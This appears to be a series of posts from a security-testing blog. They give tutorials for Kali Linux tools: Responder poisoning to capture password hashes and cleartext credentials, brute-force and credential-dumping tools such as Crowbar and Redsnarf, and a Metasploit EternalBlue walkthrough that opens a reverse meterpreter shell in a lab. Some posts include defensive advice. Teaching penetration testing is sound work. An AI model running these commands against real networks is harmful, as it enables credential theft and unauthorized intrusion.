Quick Creds with Responder and Kali Linux

Tool website: https://github.com/lgandx/Responder
Tool Author: Laurent Gaffie

Responder is a powerful tool for quickly gaining credentials and possibly even remote system access. It is a LLMNR, NBT-NS & MDNS poisoner that is easy to use and very effective against vulnerable networks.

For the last few years one of the favorite tools in the pentester’s toolbox has been Responder. Responder works by imitating several services and offering them to the network. Once a Windows system is tricked into communicating to responder via one of these services or when an incorrect UNC share name is searched for on the LAN, responder will respond to the request, grab the username & password hash and log them. Responder has the ability to prompt users for credentials when certain network services are requested, resulting in clear text passwords. It can also perform pass-the-hash style attacks and provide remote shells.

In this article we will see how to use Responder in Kali Linux. In the next article we will dig a little deeper and look at some of the additional tools that are included with Responder.

Basic Usage

Responder is installed by default in Kali Linux. To view the Responder help screen and see what options are available, just use the “-h” switch.

Kali Linux Responder 1

From the help screen, the usage is:

responder -I eth0 -w -r -f

or:

responder -I eth0 -wrf

So, basically run the program, provide your network interface with the “-I” switch and then any other switches that you want. You can combine the switches together if you wish, as shown in the second usage example above. You can also use the verbose switch, “-v” to increase the text output of the program for more formation.

Analyze mode

A good place to start is “Analyze mode”. This mode runs responder but it does not respond to requests. It is specified with the “-A” switch. This can be handy to see what types of requests on the network responder could respond to, without actually doing it.

Kali Linux Responder 2

Any events will be shown on the screen, as below:

Kali Linux Responder 3

Analyze mode is also a good way to passively discover possible target systems.

Enough intro, let’s see Responder in action.

Poisoning with Responder

You can start Responder with the basic poisoner defaults by just typing:

responder -I eth0

Kali Linux Responder 4

Responder will poison responses and, if it can, capture any credentials. If a user tries to connect to a non-existing server share, Responder will answer the request and prompt them with a login prompt for access. If they enter their credentials, Responder will display and save the password hash:

Kali Linux Responder 5

We could then take the hash and attempt to crack it.

Basic Authentication & WPAD

WPAD is used in some corporate environments to automatically provide the Internet proxy for web browsers. Many Internet browsers have “enable system proxy” set by default in their internet settings, so they will seek out a WPAD server for a proxy address.

We can enable WPAD support in Responder to have it respond to these requests. If we use WPAD with the “Force Basic Authentication” option, Responder prompts users with a login screen when they try to surf the web and grabs the entered creds in clear text.

Command:

Responder -I eth0 -wbF

  • -w” Starts the WPAD Server
  • -b” Enables basic HTTP authentication
  • -F” Forces authentication for WPAD (a login prompt)

Kali Linux Responder 6

When a user goes to surf the web, the browser will reach out for proxy settings using WPAD. Responder will respond to the request and trigger a login prompt:

Kali Linux Responder 7

If the user enters their credentials, you get a copy of them in clear text. No cracking needed!

Kali Linux Responder 8

As you can see in the picture above, the user “Joe User” is using the password, “SuperSecurePassword”, which it isn’t.  🙂

Log Files

Log files for Responder are located in the /usr/share/responder/logs directory:

Kali Linux Responder 9

Along with the regular program log files, any credentials recovered will be stored in a file that includes the IP address of the target. You can view these files to see the hash or clear text creds:

Kali Linux Responder 10

If only the password hashes were recovered you can take the hash file and use it directly with your favorite cracking program:

john [responder password hash file]

Kali Linux Responder 11

Obviously, this is just an example as corporate networks should never allow “12345” as a password. But sadly enough, I have seen companies remove password complexity requirements so users could continue to use simple passwords.

Conclusion

In this article we saw how easy it is to use Responder to obtain both clear text and password hashes. How would you defend against this tool?

Basic Network Security Monitoring (NSM) will pick up and flag Basic plain text authentication attempts and WPAD auto-proxy requests. This is just one reason why NSM is so important.

You can disable the services that Responder is taking advantage of, but you must be sure that this will not affect your network functionality before you do, especially in environments with old systems still running.

For WPAD based attacks, provide an entry for WPAD in DNS, or don’t use the “system proxy” setting in the browser.

In the next article, we will look at some of the extra tools included with Responder.

 

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Kali Linux 2017.2 – New Tools Overview

Kali 2017 new tools

Last week, Kali announced the release of Kali Linux 2017.2! The new version is a collection of all updates and fixes since the last release, but also includes several new tools. In this article we will see what new tools were installed and take a closer look at some of them.

Note: The tools are not installed automatically, but are available from the repositories. So, to use them, you will need to ‘apt-install’ the ones you want.

New tools

  • APT2
  • B374K
  • BloodHound
  • BruteSpray
  • ChangeMe
  • CrackMapExec
  • CredDump7
  • Crowbar
  • Dbeaver
  • hURL
  • Phishery
  • RedSnarf
  • Secure-Socket-Funneling
  • SSH-Audit
  • Tinfoleak
  • Wgetpaste

Let’s take a closer look at some of the tools.

APT2 – An Automated Penetration Testing Toolkit

Website: https://github.com/MooseDojo/apt2

Kali 2017.2 New Tools 1

APT2 performs an NMap scan (or import scans from Nexpose, Nessus, or NMap) and launches enumeration modules and exploits against the target. Options are set in the “default.cfg” file:

Kali 2017.2 New Tools 2

Quick Usage

  • Start Metasploit and run the following command:

load msgrpc User=msf Pass=msfpass ServerPort=55552

Kali 2017.2 New Tools 3

This is needed as when APT2 runs, it it is able to open any remote sessions they will show up in Metasploit.

Then launch APT2 against a target:

apt2 -v -s 1 -b –target 192.168.1.135

The program scans the target, and will automatically begin to attack the target based on the safety level (-s) that you choose.

Any vulnerabilities are listed, and reports are saved to the designated directory:

Kali 2017.2 New Tools 4

A html report file is saved in the “Reports” folder. The “proofs” folder contains a lot of information and results from the scan:

Kali 2017.2 New Tools 5

 

BruteSpray – Service Brute Force tool

Website: https://github.com/x90skysn3k/brutespray

Kali 2017.2 New Tools 6

BruteSpray takes nmap GNMAP/XML output and automatically brute-forces services with default credentials using Medusa.

Quick Usage

Run nmap scan and save output, then start Brutespray in interactive mode:

brutespray –file nmap.xml -i

Kali 2017.2 New Tools 7

You can also run it in manual mode by supplying specific information using switches. See the help file or tool website for more information.

Crowbar

Website: https://github.com/galkan/crowbar

Kali 2017.2 New Tools 8

A brute forcing tool that supports OpenVPN, Remote Desktop Protocol, SSH Private Keys and VNC Keys.

Quick Usage

RDP target with known user and password:

crowbar -b -rdp -s 192.168.1.204/32 -u test -c monkey

Kali 2017.2 New Tools 9

Crowbar can be run against a single target or range of targets. It can use individual passwords, password lists and SSH or VNC keys. See tool website for more examples.

Redsnarf

Tool website: https://github.com/nccgroup/redsnarf

Kali 2017.2 New Tools 10

Redsnarf is a pen-testing / red-teaming tool by Ed Williams for retrieving hashes and credentials from Windows workstations, servers and domain controllers

Redsnarf looks like a very useful tool that has a ton of features.  It targets Windows computers and can pull information from the system, recover passwords, enable remote access, run remote shells and much more.

I ran it against a local test Windows 7 desktop system, and it would only run when UAC was totally disabled on the system. So, this seems to be a great post-exploitation tool.

Quick Usage

Information dump with a known admin user name and password:

redsnarf -H ip=192.168.1.93 -u dan -p password

Kali 2017.2 New Tools 11

Information including passwords and shares is displayed and saved to the log directory.

Remote Command shell

Redsnarf has the capability to create several different types of shells.

redsnarf -H ip=192.168.1.93 -u dan -p password -d WIN-42ORBM3SRVF -uD y

Running the command above will connect to the target system and list available shells, as seen below:

Kali 2017.2 New Tools 12

Stealth Mimikatz

The Stealth Mimikatz option is pretty interesting. It creates a webserver on the target system, pulls the system creds and downloads them in plain text:

redsnarf -H ip=192.168.1.93 -u dan -p password -d WIN-42ORBM3SRVF -hR y

Kali 2017.2 New Tools 13

Logging

Whenever you run a command, the program provides you with a directory that contains the program logs. The logs contain a lot of important information gleaned from the system:

Kali 2017.2 New Tools 14

Conclusion

In this article we discussed a few of the new tools included with Kali Linux. Kali Linux is the most feature rich computer security testing platform available and it continues to grow as new tools and capabilities are constantly added.

If you are new to Kali or a seasoned user interested in learning more, check out my “Security Testing with Kali Linux” book series:

Basic Security Testing with Kali Linux

Intermediate Security Testing with Kali Linux

Security Testing with Kali NetHunter

And keep an eye out for the upcoming, “Advanced Security Testing with Kali Linux”.

P4wnP1 the Pi Zero W USB attack Platform

The P4wnP1 is an exciting and feature rich USB attack platform that runs on a Raspberry Pi Zero.

featured item

The P4wnP1 turns your Pi Zero/Zero W into a physical security Ethical Hacking pentest tool. In this article, we will cover installing P4wnP1 on a Pi Zero W and using several of its payloads against a target system running Windows 10.

For this article, you will need:

  • Rasberry Pi Zero W (I purchased mine from adafruit.com with a case)
  • Raspberry Pi Power Adapter
  • MicroSD Memory card
  • MicroSD card writer
  • P4wnP1 software

You will also need a target computer to plug the P4wnP1 into (I used a Windows 10 PC) and a secondary computer to SSH into the Pi to control and modify the P4wnP1.

Continue reading article on dantheiotman.com

 

Using the “NSA” EternalBlue exploit on Metasploitable 3

In this tutorial, we will see how to use the “EternalBlue” MS17-010 SMB exploit in Metasploit on Kali Linux to obtain a remote shell in Metasploitable 3, which uses Windows Server 2008.

Introduction

EternalBlue is one of several tools that were allegedly created and used by the NSA. The tools were publicly dumped by a hacker group called “Shadow Brokers” in April. The exploit has been modified and adapted to work as a Metasploit module and has been added to the latest Metasploit version. EternalBlue is a good exploit for Ethical Hackers to try in a test environment as it works very well and returns a System level shell when successful.

Preface

I had to manually update the Metasploit in Kali, as of the time of this writing the EternalBlue exploit was not available in the latest Kali update. Also, there seems to be some issues with the latest Metasploitable 3 install, as several of the service ports that should be open were blocked and it seems some services were not available.

As always, never attempt to access or test a system that you do not have express permission to do so, doing so is illegal and you could end up in jail.

Tutorial

Enough introduction, let’s see the exploit in action!

  • Start the Metasploit framework.
  • In Metasploit, enter “search eternalblue

  • Type, “use exploit/windows/smb/ms17_010_eternalblue

Now you can enter “show options” to see what options are available:

There is not really much you need to do. Just set the target IP (RHOST), and select a payload:

  • set RHOST 192.168.1.127
  • set payload windows/x64/meterpreter/reverse_tcp

You can type “show options” again to see what options need to be set for the payload, but all we need is the Kali IP address (LHOST):

  • set LHOST 192.168.1.3
  • Finally, type “exploit

And we have a shell!

You can type “help” top see all the available Meterpreter commands or just type “shell” for a remote command shell:

And that is it!

Defense

The best mitigation against this attack is to make sure all of your Windows systems are patched and up to date. This exploit has been patched for a while now. It is also a good idea to disable SMB v1, but you must realize the impact that this could have on your network before doing so, and decide if this would be a viable solution for your company.

If you liked this tutorial and want to learn a lot more about Kali, Metasploit and Ethical Hacking, check out my “Basic Security Testing with Kali Linux 2” book.